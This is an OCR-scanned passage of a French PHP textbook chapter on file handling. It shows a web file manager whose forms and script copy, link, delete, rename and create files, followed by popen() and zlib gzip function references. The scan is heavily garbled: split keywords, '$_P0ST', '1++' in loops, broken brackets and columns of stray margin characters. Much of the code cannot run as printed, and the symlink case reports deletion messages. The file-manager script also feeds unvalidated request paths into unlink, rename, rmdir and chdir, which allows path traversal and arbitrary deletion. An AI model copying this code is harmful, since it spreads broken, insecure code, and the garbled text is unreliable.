<input type=' hidden' value='link' name='operation'> 
<input type=' button' value=' Creer ' 
oncl ick=' 

for (var i = 0; i < document. fl iste. selection. length; 1++) { 
if (document. fliste.selection[i] .checked) { 
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document. fl i en. idFichier. value = 
document. fliste.selecti on [i] .value; 
break; 
} 
} 

document. fl ien.submit() ; 
'> 

</td> 
</form> 
</tr> 

<?php /* Creation d'un lien symbol i que */?> 
<tr> 

<form method='post ' name='flienSymb'> 
<td> 

<b>Creation d'un lien symbol ique sur un fichier</b>   
<input type=' hidden 1 name=' repertoire 1 

value='<?php echo $repCourant;?>'> 
<input type=' hidden 1 name=' idFichier '> 

nom du lien symbol ique <input type='text' name='nomLienSymbolique'> 
<input type=' hidden' value='symlink' name='operation'> 
<input type=' button 1 value=' Creer ' 
oncl i c k = ' 

for (var i = 0; i < document. fliste. selection. length; i++) { 
if (document. fliste. selection[i] .checked) { 
document. fl ienSymb. idFichier. value = 
document.fliste.selection[i] .value; 
break; 
} 
} 

document. fl ienSymb.submit() ; 
'> 

</td> 
</form> 
</tr> 

<?php /* Renommer un fichier */?> 
<tr> 

<form method='post ' name='frenom'> 
<td> 

<b>Renommer un fichier</b>   
<input type=' hidden 1 name=' repertoire' 

value='<?php echo $repCourant;?>'> 
<input type=' hidden' name=' idFichier '> 

nouveau nom du fichier <input type='text' name='nomFichier'> 
<input type='hidden' value=' rename' name='operation'> 
<input type=' button' value=' Renommer ' 
oncl i ck= ' 

for (var i = 0; i < document. fliste. selection. length; i++) { 
if (document. fliste. selection[i] .checked) { 
document. frenom. id Fichier. value = 
document.fliste.selection[i] .value; 
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break; 
} 
} 

document . f renom. submi t () ; 
'> 

</td> 
</form> 
</tr> 

<?php /* Creer un dossier */?> 
<tr> 

<form method='post ' name='fdossier'> 
<td> 

<b>Creer un dossier</b>   
<input type=' hidden 1 name=' repertoire' 

value='<?php echo $repCourant;?>'> 
nom du dossier <input type='text' name='nomDossier'> 
<input type='hidden' value='mkdir l name='operation'> 
<input type=' button 1 value=' Creer ' 

oncl ick=' document. f dossier. submi t() ; '> 
</td> 
</form> 
</tr> 

<?php /* Suppression d'un fichier */?> 
<trxform method='post' name='fsupprim'> 
<td> 

<b>Supprimer un fichier</b>   
<input type=' hidden 1 name=' repertoire' 

value='<?php echo $repCourant;?>'> 
<input type=' hidden' name=' idFichier'> 
<input type='hidden' value='unlink' name='operation'> 
<input type=' button' value=' Supprimer ' 
onclick=' 

for (var i = 0; i < document. fl iste. selection. length; i++) { 
if (document. fliste.selection[i] .checked) { 
document. fsupprim.idFichier. value = 
document. fliste.selection[i] .value; 
break; 
} 
} 

document. fsupprim.submit() ; 
'> 

</td> 
</formx/tr> 
</table> 
<?php 
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Quant au script principal, il ne devra plus se contenter de permettre la navigation dans les 
repertoires, mais il devra egalement prendre en charge les differentes actions proposees 
(suppression, renommage, creation de fichiers et de repertoires). 

Listing 9.31 : gestionnaire_fichier_07.php 

<?php 

include ("gestionnaire_fichier_07_inc.php") ; 

switch ($_POST["operation"]) 

{ 

// Copie de fichier 
case "copy": 

if (@copy($_P0ST[" repertoire"] ."/" .$_POST["idFichier"] , 
$_POST["repertoire"]."/".$_POST["nomCopy"])) 

{ 

$message = "La copie du fichier a ete effectuee."; 
} else { 

$message = "Erreur pendant la copie du fichier. <br>"; 

} 
break; 

// Creation d'un lien 
case "link": 

if (@link($_POST["repertoire"]."/".$_POST["idFichier"], 
$_POST[" repertoire"] . "/".$_POST["nomLien"])) 

{ 

$message = "La creation du lien a ete effectuee."; 
} else { 

$message = "Erreur pendant la creation du lien."; 

} 
break; 

// Supprimer un fichier 
case "unlink": 

if ( i s_di r ($_POST [" repertoi re"] . "/" • $_POST [" i dFi chi er "] ) ) 
{ 

if (@rmdir($_POST ["repertoi re"]. "/".$_POST["i dFi chi er"])) 
{ 

$message = "Le dossier a ete supprime."; 
} else { 

echo $_POST["repertoire"] ."/".$_POST["idFichier"] ; 
$message = "Erreur, verifiez que le dossier est vide". 
" avant de le supprimer."; 

} 
}else{ 

if (@unlink($_P0ST["repertoire"]. , 7".$_P0ST["idFichier"])) 

{ 

$message = "Le fichier a ete supprime."; 
} else { 

$message = "Erreur pendant la suppression du fichier."; 
} 
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} 

break; 

// Creation d'un lien symbol i que 
case "symlink": 

if (@symlink($_POST["repertoire"]."/".$_POST["idFichier"], 

$_P0ST[" repertoire"] . 7".$_P0ST["nomLienSymbolique"])) 

{ 

$message = "Le fichier a ete supprime."; 
} else { 

$message = "Erreur pendant la suppression du fichier."; 

} 
break; 

// Renommer un fichier 
case "rename": 

if (@rename($_POST["repertoire"]."/".$_POST["idFichier"], 
$_P0ST [" repertoi re"] . "/" . $_P0ST ["nomFi chi er"] ) ) 

{ 

$message = "Le fichier a ete renomme."; 
} else { 

$message = "Erreur, impossible de renommer le fichier."; 
} 
break; 

// Creation d'un repertoire 
case "mkdir": 

umask(OOO); 

if (@mkdir($_POST["repertoire"] . "/".$_POST["nomDossier"] , 0760)] 

{ 

$message = "Le repertoire a ete cree."; 
} else { 

$message = "Erreur, impossible de creer le dossier."; 
} 
break; 



// Verifie si "repertoire" est passe en parametre 
if ($_GET ["repertoi re"]) 

{ 

if (!@chdir($_GET[" repertoi re"])) 

{ 

$message = "Le changement de repertoire a echoue.' 



/* Dans le cas ou les donnees sont envoyees par une methode GET */ 

if($_GET["repertoire"]) 

{ 

if (!G>chdir($_GET ["repertoire"])) 

{ 

$message = "Le changement de repertoire a echoue."; 
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/* Dans le cas ou les donnees sont envoyees par une methode POST */ 
elseif ($_POST["repertoire"]) 

{ 

if(!@chdir($_POST[" repertoire"])) 



{ 



$message = "Le changement de repertoire a echoue.' 



1 istRepertoire() ; 
?> 
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Figure 9.13 : Le gestionnaire de fichiers 



Lecture sur un "pipe" 



PHP offre la possibility de lancer un processus depuis un script et de communiquer avec lui sur 
un canal de communication que Ton appelle alors pipe (tuyau). Pour cela, il faut utiliser 

l'instruction popen f ) . 



popenQ 



Lance un processus et ouvre un pipe de communication. 

Syntaxe resource popen(string $commande, string $mode) 
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$commande Commande a executer. 

$mode Definit le mode d'ouverture. Contrairement a f open ( ) , ici le mode ne 

peut etre qu'en lecture seule 'r' ou en ecriture seule V. 

retour Pointeur sur le processus cree, ou FALSE s'il y a une erreur. 

<?php 

$pp = popen("more fichier.txt", "r"); 
?> 

II n'est pas possible de fermer le processus a l'aide de l'instruction f close ( ) . Le langage PHP 
met a la disposition des developpeurs la fonction pciose ( ) qui ferme et libere le processus cree 

par popen ( ) . 
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pciose () 

Termine un processus et ferme \tpipe associe. 



Syntaxe boolean pclose(resource $pp) 

$pp Pointeur dupipe tel que retourne par la fonction popen ( ) . 

retour TRUE en cas de succes, FALSE sinon. 

Voici un exemple (dans la serie "pourquoi faire simple quand on peut faire complique".) 
utilisant la commande more pour lire le contenu d'un fichier. 

<?php 

$pp = popen("more fichier.txt", "r"); 

while ($chaine = fgets($pp, 255)) 

{ 

echo $chaine; 

} 

pclose($pp); 

?> 

Ce qui, dans notre cas, retourne (tout betement) : 



fichier.txt 



voici le texte que j'ai placer dans fichier.txt 
Bon, ca ne fait pas avancer le schmilblik 



Compression 



PHP propose differentes bibliotheques liees a la compression, mais la bibliotheque zlib est la 
seule a fonctionner parfaitement (contrairement a bzip2), comme elle est la seule a permettre 
a la fois la compression et la decompression (contrairement a zip). 
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Compression Zlib 

zlib est la bibliotheque a la base de Gzip (GNUZip), qui est lui-meme 1'utilitaire de 
compression le plus utilise sous UNIX. Toutes les distributions Linux fournissent cet utilitaire, 
ce qui est bien normal lorsqu'on sait qu'il est developpe par le Projet GNU de la Free Software 
Foundation (http://www.gnu.org). Rien d'etonnant done a trouver, dans PHP, diverses commandes 
permettant d'exploiter la librairie zlib. 

En ligne de commande, la compression est effectuee avec la commande gzip nomAr chive. Le 
fichier est alors remplace par un nouveau fichier possedant l'extension .gz. Attention, car Gzip 
ne peut en aucun cas compresser plusieurs fichiers a la fois. Si vous desirez compresser une 
serie de fichiers, vous devez au prealable les archiver (avec la commande tar par exemple). La 
decompression s'effectue avec la commande gzip -a nomAr chive, gz. Si le fichier n'est pas 
un fichier compresse au format Gzip, alors la decompression echouera et renverra une alerte. 

Le langage PHP s'est done interface avec la bibliotheque zlib, ce qui permet d'effectuer 
diverses operations courantes de compression et de decompression. 

Pour information, la zlib utilise, entre autres, l'algorithme de Huffman pour compresser les 
donnees. Le principe de cet algorithme est de modifier l'encodage des caracteres en analysant 
la frequence de repetition de ces caracteres. L'algorithme les classe du plus au moins frequent. 
L'unite de traitement etant ramenee au bit, chaque caractere possede alors un nouvel encodage 
sur un nombre de bits variable. Ainsi, le caractere le plus utilise possede une valeur sur un petit 
nombre de bits et le caractere le moins utilise est encode sur un nombre de bits plus grand. 

Une fois encodee, une donnee repetitive occupe moins de place que l'original (il y a bien 
compression) tandis qu'une donnee rare occupe plus de place (qui doit etre largement 
compensee par la compression). Le tableau suivant permet de mieux comprendre ce principe. 

Imaginez un texte (autre que la Disparition de Georges Perec qui ne contient pas de "e") qui 
possederait 15 fois la lettre "w", 260 fois la lettre "e" et 510 fois la lettre "a". Habituellement, un 
caractere est code sur 8 bits. Nous pouvons imaginer qu'avec la compression zlib, le caractere 
"w" (peu represente) occupe 12 bits, le caractere "e" (bien represente) 6 bits et, enfin, le 
caractere "a" (ires present) 2 bits. Dans ce cas le texte ne fera pas (15+260+510)*8 = 6280 mais 
15*12+260*6+510*2=2760, ce qui constitue bien une compression du texte. 

Cette technique d'encodage est a la base des compressions jpeg, Tiff et aussi, done, de la 
compression zlib. 

Installation 

Sous Windows 

Depuis PHP 4.3.0 vous n'avez rien a faire pour disposer de ces fonctions. Si toutefois vous 
souhaitez utiliser une version anterieure alors verifiez que vous avez active l'extension 
php_zlib.dll. 

Sous Linux 

Pour installer le module zlib, vous devez, dans un premier temps, recuperer les sources de la 
bibliotheque disponible sur le site (en anglais) http://www.gzip.org/zlib/ (ou sur le CD-ROM fourni). 

Vous pouvez alors copier l'archive dans un repertoire quelconque (/usr/local/lib, par exemple) 
et commencer sa decompression. 
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REMARQUE 



# gunzip zlib-1.1.4.tar.gz 

# tar xvf zlib-1.1.4.tar 

Vous utiliserez la methode classique de compilation et d'installation, 

# cd zlib-1.1.4 

# ./configure 

# make 

# make install 

ce qui aura pour effet d'ajouter un fichier libz.a dans le repertoire lusrllocal/lib. 



Distributions Linux 

Comme vous Vaurez remarque, la procedure d'installation decrite icifait elle-meme 

appel a Gzip. Ceci ne devrait pas constituer un probleme, puisque Gzip est 

generalement installe avec Linux. Sachez toutefois que {'archive Gzip est disponible 

sous d'autres formats de compression. 

De meme, il n 'est pas forcement necessaire de recompiler cette bibliotheque comme 

indique precedemment, puisque les distributions Linux incluent generalement des 

"paquetages" de Gzip pour le developpement (y sont inclus les en-tetes et la 

bibliotheque compilee). 

Ainsi, sous Mandrake 8.1 (par exemple), la procedure d'installation peut etre 

remplacee par : 

# rpm -U zlibl-1.1.3-16. lmdk . i 586 . rpm 

# rpm -U zlibl-devel-1. 1.3-16. lmdk. i 586 . rpm 

Quoi qu 'il en soit, vous devez necessairement etre equipe d'une version superieure ou 
egale a 1. 0. 9. 

Vous devez alors recompiler PHP avec l'option -with-zlib=/usr/local. 



y Vous pouvez vous reporter au chapitre "Prise en main" pour plus de details sur la 

compilation de PHP. 
RENVOI 

Verification 

Verifiez que le module zlib est bien installe en appelant une page contenant <?php 

phpinf o ( ) ; ?>. 







to 




^*» 










-^ 


o 


I - 


CD* 


^S" 


n> 


•a 

CD 


S' 


CD 


^i 


CO 


CO 


o_ 


CD 








o 


CD 


a. 


3 


CO 


CD 


a. 




CO 


CD 
CO 



577 



Chapitre 9 La gestion des fichiers et des repertoires 



CO 






05 


CO 




■o 


<D 




t= 


■a 


cu 










as 


o 


CO 


CO 


*^ 




1— 


cu 

a. 


S3) 


cu 


CO 


PT 


03 


_l 




*~ 


o» 







zlib 



ZLib Support 


enabled 


'zlib:' fopen wrapper 


enabled 


Compiled Version 


1.1.3 


Linked Version 


1.1.3 



Directive 


Local Value 


Master Value 


zlib.output compression 


Off 


Off | 



Figure 9.1 4 : Lephpinfo vous informe de I 'installation du module zip. 

Ouvrir et fermer un fichier Gzip 

Le module zlib fonctionne a peu pres comme les fonctions du systeme de fichiers. Vous allez 
retrouver la plupart de ces fonctions. De plus, depuis la version 4.0.4 de PHP, il est possible 
d'ouvrir un fichier compresse au format gzip depuis un appel classique a f open ( ) . II suffit de 
faire preceder le chemin du fichier a ouvrir par "compress .zlib: //" (zlib : pour PHP<4.3.0), 
comme le montre l'exemple ci-dessous. 

<?php 

$fp = fopen("compress.zlib://monFichier.txt.gz","r") ; 

fclose($fp); 

?> 

L'ouverture d'un fichier compresse avec Gzip se fait a l'aide de l'instruction gzopen ( ) . Comme 
pour la fonction f open ( ) , le developpeur doit indiquer le mode d'ouverture (ecriture seule, 
lecture seule ou lecture/ecriture), et peut egalement preciser un niveau de compression ainsi 
qu'une strategic de compression. 




RENVOI 



Rendez-vous au debut de ce chapitre, a la description de la fonction fopen ( ), pour 
connaitre les differents modes possibles et leurs particularites. 



gzopen () 



Ouverture d'un fichier compresse au format gzip. 

Syntaxe resource gzopen(string $nomFichier, string $mode [, boolean 

$cheminlnclude] ) 

$nomFichier Chemin du fichier. 

$mode Definit le mode d'ouverture du fichier : 

"r" pour la lecture seule. 
"r+" pour une lecture et une ecriture. 
"w" pour une ecriture avec ecrasement des donnees. 
"w+" pour un mode en lecture et ecriture avec ecrasement des donnees. 
"a" pour l'ouverture en ajout de donnees. 
"a+" pour l'ouverture du fichier en mode lecture et ecriture par ajout. 
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Vous pouvez ajouter le niveau de compression entre "0"(aucune 

compression) et "9 "(compression maximale) ; par defaut le niveau est de 

"6". 

Vous pouvez specifier une strategie : 

"f " pour des donnees filtrees. 

"h" pour l'utilisation de 1'algorithme de Huffman uniquement. 

$cheminlnclude TRUE si le fichier doit etre recherche dans les repertoires precises par 
include_path, FALSE (valeur par defaut) sinon. 

retour Pointeur sur le fichier, ou FALSE en cas d'erreur. 

Ainsi le mode "a+b6h" designe une ouverture en lecture et ecriture par ajout d'un fichier 
binaire avec un niveau de compression de 6 et l'utilisation exclusive de 1'algorithme de 
Huffman. 

De meme, le mode "wb9f ' indique une ouverture en mode ecriture d'un fichier binaire d'un 
niveau de compression de 9 avec une strategie filtree. 

La fermeture du fichier est effectuee a l'aide de la fonction gzclose ( ) . 



gzclose() 

Ferme un fichier prealablement ouvert avec l'instruction gzopen ( ) . 

Syntaxe boolean gzclose (resource $gzFichier) 

$gzFi chi er Pointeur vers le fichier tel que retourne par la fonction gzopen ( ) . 

retour TRUE si le fichier a ete ferme, FALSE dans le contraire. 

<?php 

$gzFichier = gzopen("monfichier.txt.gz","w") ; 

// Traitement 

gzclose($gzFichier) ; 

?> 

Le petit programme ci-dessous est equivalent a l'exemple precedent : 

<?php 

$gzFichier = fopen("zl ib:monfichier.txt.gz","w") ; 

// Traitement 

fclose($gzFichier); 

?> 

/£) Ouverture des fichiers non compresses 

"**^ La fonction gzopen ( ) peut egalement ouvrir des fichiers non compresses. Dans ce 

cas, les lecture et ecriture seferont sans compression ni decompression. 
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Ecrire dans un fichier 



L'instruction gzwriteO permet d'ecrire une chaine de caracteres dans un fichier ouvert 
prealablement a l'aide de l'instruction gzopen ( ) . L'appel a gzwrite ( ) ecrit done une chaine a 
la position courante du pointeur. 



gzwrite() 

Ecriture d'une chaine de caracteres dans un fichier. 

Syntaxe int gzwrite(resource $gzFichier, string $chaine [, int 

$longueur]) 

$gzFichier Pointeur vers le fichier ouvert avec l'instruction gzopen ( ) . 

$ c h a i n e Chaine de caracteres a ecrire dans le fichier. 

$1 ongueur Parametre optionnel indiquant combien de caracteres doivent etre ecrits. 

S'il est omis, la chaine complete est ecrite dans le fichier. 

retour Nombre de caracteres qui ont ete ecrits dans le fichier. En cas d'erreur, 

l'instruction retourne FALSE. 

Tout comme l'instruction f write ( ) , la fonction gzwrite ( ) possede un alias appele gzputs ( ) . 
Listing 9.32 : gzwrite.php 

<?php 

$maChaine = "\"Je suis un phenomene, je suis un magicien\n". 

"Un tuyau parcouru d 1 informations majeures\n". 

"Mais y'a pas que des douceurs qui passent a 1 ' interieur\"\n". 

"Noir Desir, Son style\n"; 

$gzFichier = gzopen("monfichier.txt.gz","w") ; 
gzwrite($gzFichier, $maChaine) ; 
gzclose($gzFichier) ; 
?> 

Vous pouvez observer qu'un nouveau fichier a fait son apparition dans le repertoire courant. 
Dezippez-le avec la commande gzip -d monf ichier . txt . gz et observez que votre texte s'y 
trouve bel et bien (ou affichez directement son contenu avec zcat monf ichier .txt. gz). 
Vous pouvez utiliser WinZip ou tout autre outil de decompression supportant le format gz 
disponible sous Windows. 

Lire des informations dans un fichier 

Tout comme pour un fichier classique, la lecture des donnees contenues dans un fichier peut se 
faire octet par octet, bloc de N octets par bloc de N octets, ligne par ligne ou encore d'un bloc. 

Ceci est assure par les differentes fonctions que sont gzreado, gzgetsO, gzgetssO, 
gzgetc ( ) et deux instructions particulieres que sont gzf ile ( ) et readgzf ile ( ) . 
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Lecture octet par octet 

La fonction getc ( ) possede son equivalence pour traiter les fichiers au format gzip. Cette 
instruction est gz getc () . 



gzgetc() 

Retourne le caractere se trouvant a la position courante du pointeur de lecture. 

Syntaxe string gzgetc(resource $gzFichier) 

$gzFichier Pointeur vers le fichier tel que retourne par gzopen( ) . 

retour Caractere a la position courante du pointeur de lecture ; FALSE en cas 

d'erreur ou lorsque le pointeur de lecture se trouve a la fin du fichier. 

Lecture N octets par N octets 

Egalement semblable a la lecture dans un fichier texte ou binaire classique. La fonction 
gzread ( ) permet la lecture par paquet d'octets. 
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gzread () 



Lecture des donnees decompressees contenues dans un fichier au format gzip. La lecture 
s'effectue par paquet d'octets. 

Syntaxe string gzread (resource $gzFichier, int $longueur) 

$gzFi chi er Pointeur vers le fichier ouvert tel que retourne par gzopen ( ) . 

$longueur Taille en octets des donnees a lire. Cette faille est indiquee pour des 

donnees une fois decompressees. La lecture se termine lorsque le fichier a 
ete entierement lu, ou lorsque le nombre d'octets specifie a ete retourne. 

retour La chaine de caracteres decompressee ; FALSE en cas d'erreur ou lorsque 

le pointeur de lecture se trouve a la fin du fichier. 

L'exemple qui suit : 

Listing 9.33 : gzread.php 

<?php 

$gzFichier = gzopen("monfichier.txt.gz","r") ; 

// Affiche le contenu 50 caracteres par 50 caracteres 
while ($maChaine = gzread ($gzFi chi er, 50) ){ 
echo $maChaine."<br />"; 

} 

gzclose($gzFichier) ; 
?> 



581 



CO 






05 


CO 




■o 


cu 


CO 


t= 


■a 


CU 


o 








cu 


'o 


to 


CO 


*^ 


CD 


1— 


cu 

a. 


C3> 


CD 


CO 


g 


'CU 


_l 




^ 


cri 
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offrira done le resultat suivant : 

"Je suis un phenomene, je suis un magicien Un tuya 
u parcouru d' informations majeures Mais y'a pas qu 
e des douceurs qui passent a l'interieur" Noir Des 
ir, Son style 



Lecture lignepar ligne 

Comme le montre l'exemple precedent, la fonction gzread( ) n'est pas adaptee a la lecture 
ligne par ligne. L'instruction gzgets ( ) permet de retourner, au contraire, une ligne entre 
chaque lecture. 



gzgets () 



Retourne une ligne decompressee depuis le fichier au format gzip. 

Syntaxe string gzgets (resource $gzFichier, int $longueur) 

$gzFi chi er Pointeur sur un fichier tel que retourne par gzopen ( ) . 

$longueur Taille maximale (en octets) des donnees a lire. Cette taille est indiquee 

pour des donnees une fois decompressees. La lecture se termine lorsque la 
fin de la ligne a ete rencontree, ou lorsque le nombre d'octets specifie a ete 
retourne. 

retour Une chaine de caracteres decompressee ; FALSE en cas d'erreur ou 

lorsque le pointeur de lecture se trouve a la fin du fichier. 

Listing 9.34 : gzgets.php 

<?php 

$gzFichier = gzopen("monfichier.txt.gz","r") ; 
// Affiche une ligne et un retour a la ligne 
// entre chaque affichage 
while ($maChaine = gzgets($gzFichier, 255)) { 
echo $maChaine. "<br />"; 

} 

gzclose($gzFichier) ; 
?> 

Cet exemple retournera bien le resultat escompte, a savoir : 

"Je suis un phenomene, je suis un magicien 

Un tuyau parcouru d 1 informations majeures 

Mais y'a pas que des douceurs qui passent a l'interieur" 

Noir Desir, Son style 
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Lecture d'un bloc 

Tout comme l'instruction f lie ( ) , vous pouvez retourner directement le fichier decompresse 
dans un tableau contenant chaque ligne. Pour cela nous utiliserons la fonction gzf ile ( ) . 



gzfileQ 



Retourne le fichier decompresse dans un tableau. 

Syntaxe array gzfile (string $nomFichier [, boolean $cheminlnclude] ) 

$nomFichier Chemin du fichier. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path, FALSE (par defaut) sinon. 

retour Tableau contenant chaque ligne du fichier decompresse, ou FALSE si une 

erreur est survenue. 

Listing 9.35 : gzfile.php 

<?php 

$gzTableau = gzfileCmonfichier.txt. gz") ; 
// Regroupe tous les elements du tableau 
// dans une chaTne de caracteres 
$chaine = implode("<br />", $gzTableau); 
// Affiche la chaTne de caracteres 
echo $chaine; 



L'exemple precedent affiche simplement le contenu du fichier decompresse (puisque le tableau 
est immediatement converti en une chaine de caracteres en inserant des retours a la ligne entre 
chaque ligne). 

Plus simplement, le langage PHP possede la fonction readgzfile( ) . Cette instruction 
decompresse et affiche le fichier. 



readgzfile() 

Affiche le contenu decompresse du fichier. 

Syntaxe int readgzfile(string $nomFichier [, boolean $chemi nlncl ude]) 

$nomFichier Chemin du fichier. 

$chemi nlncl ude TRUE si le fichier doit etre recherche dans les repertoires precises dans 
include_path, FALSE (par defaut) sinon. 

retour Nombre d'octets decompresses qui ont ete lus, ou FALSE en cas d'erreur. 
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Listing 9.36 : readgzfile.php 

<?php 

$nombreOctets = readgzfi le("monfichier.txt.gz") ; 

echo "<br />"; 

echo "Nombre d 1 octets lu : ".$nombreOctets; 

?> 



"Je suis un phenomena, je suis un magicien Un tuyau parcouru d' informations 

x majeures Mais y'a pas que des douceurs qui passent a l'interieur" Noir Desir, 

s< Son style 

Nombre d' octets lu : 163 

Dans ce cas, parce que HTML reinterprete pas les retours chariots '\n' tout le texte apparaitra 
sur une ligne unique (dans la limite de la taille de la fenetre). 

Lorsque le fichier a deja ete ouvert, il est possible d'afficher le reste d'un fichier depuis la 
position courante du pointeur de lecture. L'instruction gzpassthru ( ) est la version pour les 
fichiers compresses au format gzip, de l'instruction fpassthru( ) . 



gzpassthru () 

Retourne sur l'ecran le contenu du fichier depuis la position courante du pointeur de lecture. 

Syntaxe int gzpassthru (resource $gzFichier) 

$gzFichier Pointeur du fichier tel que retourne par gzopen( ) . 

retour Nombre d'octets decompresses qui ont ete affiches, ou FALSE en cas 

d'erreur. 

Listing 9.37 : gzpassthru. php 

<?php 

SgzFichier = gzopen("monfichier.txt.gz","r") ; 

// Affiche les 30 premiers caracteres et un retour a la ligne. 

echo gzread($gzFichier, 30); 

echo "<br /xbr />"; 

// Affiche le reste du fichier decompress! sur l'ecran. 

$nbOctets = gzpassthru($gzFichier) ; 

echo "<br />"; 

echo "Nombre d'octets affiches par gzpassthru() : ".$nbOctets; 

?> 

"Je suis un phenomene, je suis 

un magicien Un tuyau parcouru d' informations majeures Mais y'a pas que des 

x douceurs qui passent a l'interieur" Noir Desir, Son style 

Nombre d'octets affiche par gzpassthru () : 133 
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Remarquez qu'il est inutile de fermer le fichier par l'instruction gzclose ( ) . En effet, comme 
pour la fonction fpassthru ( ) , le fichier est automatiquement ferme. 

Lecture etfiltrage HTML 

Vous pouvez egalement filtrer les fichiers HTML compresses. Pour ce faire, vous utiliserez 
l'instruction gzgetss ( ) . Cette fonction retourne le fichier ligne par ligne en enlevant les 
balises HTML, a l'exception de celles que vous aurez specifiers. 



gzgetss () 



Retourne une ligne d'un fichier compresse sans les balises HTML (sauf celles que Ton souhaite 
conserver). 



Syntaxe 

$gzFichier 
$longueur 



$tagsAutorise 



retour 



string gzgetss (resource $gzFichier, int $longueur [, string 
$tagsAutorise] ) 

Pointeur du fichier tel que retourne par gzopen ( ) . 

Taille maximale (en octets) des donnees a lire. Cette taille est indiquee 
pour des donnees une fois decompressees. La lecture se termine lorsque le 
fichier a ete entierement lu ou lorsque le nombre d'octets specifie a ete 
retourne. 

Les balises qui ne doivent pas etre supprimees. Vous pouvez specifier 
plusieurs tags en les separant par le caractere " | ". Ex. : 
"<br> | <b> | <center>". 

Chaine contenant les donnees lues de la ligne courante sans les balises 
HTML ; FALSE en cas d'erreur ou si le pointeur se trouve a la fin du 
fichier. 
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<?php 

$fp = gzopen("monFichier.html .gz","r") ; 

while ($1 igne = gzgetss($fp, 255, "<br>|<center>")) 

{ 

echo $1 igne; 

} 

gzclose($fp); 

?> 

L'exemple ci-dessus affiche le fichier HTML decompresse en enlevant toutes les balises sauf 
celles qui correspondent a <br> et <center>. 

Positionner le pointeur de lecture/ecriture 

Tout comme pour la lecture et l'ecriture des donnees dans un fichier non compresse, vous 
pouvez deplacer le pointeur de lecture/ecriture. Ce pointeur est positionne par rapport au 
fichier decompresse. Les quatre fonctions f eof { ) , f tell ( ) , f seek ( ) ou rewind ( ) ont done 
leurs equivalents pour les fichiers au format gzip. Ces fonctions sont gzeof (), gztelio, 

gzseek ( ) , gzrewind ( ) . 
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gzeofQ 



Teste la fin du fichier decompresse. 

Syntaxe boolean gzeof (resource $gzFichier) 

$gzFi chi er Pointeur du fichier tel que retourne par gzopen ( ) . 

retour TRUE si le pointeur est a la fin du fichier, ou FALSE dans le cas contraire. 

Listing 9.38 : gzeof.php 

<?php 

// Ouverture du fichier 

SgzFichier = gzopen("monfichier.txt.gz","r") ; 

// Initialise la variable $i a "0" 

$1 = 0; 

// Lit le fichier octet par octet jusqu'a 

// la fin du fichier 

while (Igzeof ($gzFichier)) 

{ 

// Lit un caractere et deplace le pointeur 

// de lecture d'un octet 

gzgetc($gzFichier); 

// Indente la variable $i 

$i++; 
} 

echo "Le fichier possede ".($i-l)." octets."; 
gzclose($gzFichier) ; 
?> 

retournera : 

Le fichier possede 162 octets. 

Cet exemple montre comment fonctionne la fonction gzeof () et n'a d'autre valeur que 
pedagogique. La technique pour deplacer le pointeur de lecture/ecriture n'est pas efficace. 
gzgetc ( ) est a utiliser uniquement pour lire un octet. Pour deplacer un pointeur, utilisez 
l'instruction gzseek( ) decrite plus loin. 

Pour connaitre la position courante du pointeur de lecture/ecriture dans un fichier, vous pouvez 
utiliser l'instruction gztell ( ) . 



gztell() 



Retourne la position d'un pointeur de lecture dans le fichier decompresse. 
Syntaxe int gztel 1 (resource $gzFichier) 
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$gzFi chi er Pointeur du fichier tel que retourne par gzopen ( ) . 

retour Position courante du pointeur de lecture, et FALSE si une erreur survient. 

Le deplacement du pointeur de lecture/ecriture est effectue avec l'instruction gzseek ( ) . Cette 
fonction fixe la position du pointeur par rapport au debut du fichier. Notez que, contrairement 
a l'instruction f seek ( ) , vous n'avez pas la possibility de fixer une origine pour le deplacement. 



gzseekQ 
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Fixe une nouvelle position au pointeur de lecture/ecriture par rapport au debut du fichier. 

Syntaxe int gzseek(resource $gzFichier, int $nbOctets) 

$gzFi chi er Pointeur du fichier tel que retourne par gzopen ( ) . 

$nbOctets Nombre d'octets dont le pointeur doit etre deplace par rapport au debut 

du fichier. Notez que si vous deplacez le pointeur apres la fin du fichier, 
cela ne renvoie pas d'erreur. 

retour Nouvelle position du pointeur, ou -1 en cas d'erreur. 

L'instruction gzrewind ( ) permet de repositionner le pointeur de lecture/ecriture au debut du 
fichier. 



gzrewind () 

Repositionne le pointeur au debut du fichier. 

Syntaxe boolean gzrewind (resource SgzFichier) 

$gzFi chi er Pointeur du fichier tel que retourne par gzopen ( ) . 

retour TRUE si le pointeur a bien ete positionne au debut du fichier, FALSE dans 

le cas contraire. 

Listing 9.39 : gztell.php 

<?php 

// Ouverture du fichier 

SgzFichier = gzopen("monfichier.txt.gz","r+") ; 

// Deplace le pointeur de 8 caracteres. 

gzseek($gzFichier, 8); 

// Affiche la position du pointeur. 

echo "Nouvelle position du pointeur de lecture/ecriture : "; 

echo gztell ($gzFichier) ; 

echo "<br />"; 
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// Deplace le pointeur de 50 caracteres. 

gzseek($gzFichier, 50); 

// Affiche la position du pointeur. 

echo "Nouvelle position du pointeur de lecture/ecriture : "; 

echo gztell ($gzFichier) ; 

echo "<br />"; 

// Reinitialise le pointeur au debut du fichier. 

gzrewind($gzFichier) ; 

// Affiche la position du pointeur. 

echo "Nouvelle position du pointeur de lecture/ecriture : "; 

echo gztell ($gzFichier) ; 

echo "<br />"; 

gzclose($gzFichier) ; 

?> 

ce qui affichera : 

Nouvelle position du pointeur de lecture/ecriture : 8 
Nouvelle position du pointeur de lecture/ecriture : 50 
Nouvelle position du pointeur de lecture/ecriture : 

Compression et decompression d'une chaine de caracteres 

Le module zlib permet egalement de compresser directement une chaine de caracteres sans 
necessairement passer par un fichier. 

Avec gzcompress 



gzcompressQ 



Compresse une chaine de caracteres en utilisant l'algorithme de la librairie zzipiib. Mais 
attention, il est impossible d'utiliser l'outil Gzip pour decompresser les fichiers ainsi crees. 
Utilisez gzencode ( ) pour obtenir des archives compatibles. 

Syntaxe string gzcompress (string $chaine [, int $facteur]) 

$chai ne Chaine contenant les donnees a compresser. 

$f acteur Indique le niveau de compression entre (pour une compression nulle) 

et 9 (pour une compression maximale). Plus le facteur de compression est 
important, plus il y a utilisation des ressources. Par defaut, le facteur est de 

6. 

retour Donnees compressees. 

Listing 9.40 : gzdeflate.php 

<?php 

$maChaine = "\"Je suis un phenomene, je suis un magicien\n". 
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"Un tuyau parcouru d 1 informations majeures\n". 
"Mais y'a pas que des douceurs qui passent a 1 ' interieur\"\n" 
"Noir Desir, Son style\n"; 
$codeHTML = "<html><headxti tle>" . 

"Test de compression avec compress". 
"</headx/ti tl exbody>" . 
